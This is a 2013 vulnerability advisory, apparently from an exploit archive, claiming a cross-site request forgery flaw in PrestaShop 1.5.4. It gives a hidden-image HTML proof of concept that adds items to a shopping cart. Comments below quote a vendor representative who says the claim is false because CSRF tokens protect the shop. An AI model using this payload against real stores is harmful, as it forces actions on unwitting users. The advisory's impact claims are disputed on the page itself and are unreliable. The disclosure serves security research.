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PrestaShop 1.5.4 Cross Site Request Forgery

PrestaShop 1.5.4 Cross Site Request Forgery
Posted Jul 11, 2013
Authored by Eyup CELIK, EntPro Cyber Security Research Group

PrestaShop version 1.5.4 suffers from a cross site request forgery vulnerability.

tags | exploit, csrf
MD5 | cbf5530a0c270229c6d411f694d343e2

PrestaShop 1.5.4 Cross Site Request Forgery

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View online: http://demo-store.prestashop.com/en/

* Advisory ID: PRESTASHOP
* Version: 1.5.4
* Date: 2013-July-11
* Security risk: Moderately critical [2]
* Exploitable from: Remote
* Vulnerability: Cross Site Request Forgery

-------- DESCRIPTION
---------------------------------------------------------


With this vulnerability, account passwords and mail adresses could be modified and also products could be added or removed remotely from the shopping cart.


-------- SOLUTION
------------------------------------------------------------

There is no solution for this vulnerability at the moment.

-------- REPORTED BY
---------------------------------------------------------

* EntPro Cyber Security Research Group (www.entpro.com.tr)
(Eyüp ÇELÝK, Ýsmail SAYGILI, Gökay BEKÞEN, Ünlü AÐYOL, Yunus Emre KARABULUT)


-------- EXPLOIT CODE
---------------------------------------------------------


<html>
<head>
<body>
<img src="http://localhost/language/cart?add=&id_product=[Product ID]" width=0 height=0>
</body>
</head>
</html>

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butterback

This has been proven to be false. Please see this thread for more information. www.prestashop.com/forums/index.php?/t…

"Hi Everyone,

I want to reassure you all. We take security issues seriously and we have looked very carefully this report.

There is CSRF protection in PrestaShop since the beginning, mandatorily in the BackOffice (i think that all of you have seen the token argument in the URL) and optional but activate by default on the FrontOffice.
These CSRF protections are working well on the FrontOffice as well as on the BackOffice. I confirm to you all that the content of this disclose is totally false, there is no way to modify address, accounts or anything else.

For more information about CSRF you can look this article on wikipedia:
en.wikipedia.org/wiki/Cross-site_req…

Comment by butterback
2013-07-15 17:01:43 UTC | Permalink | Reply
todd

Thanks for the note butterback. Do you have a demo version of this software online? Are you using a minted nonce to mitigate CSRF?

Eyup - any response?

Comment by todd admin
2013-08-28 02:17:39 UTC | Permalink | Reply
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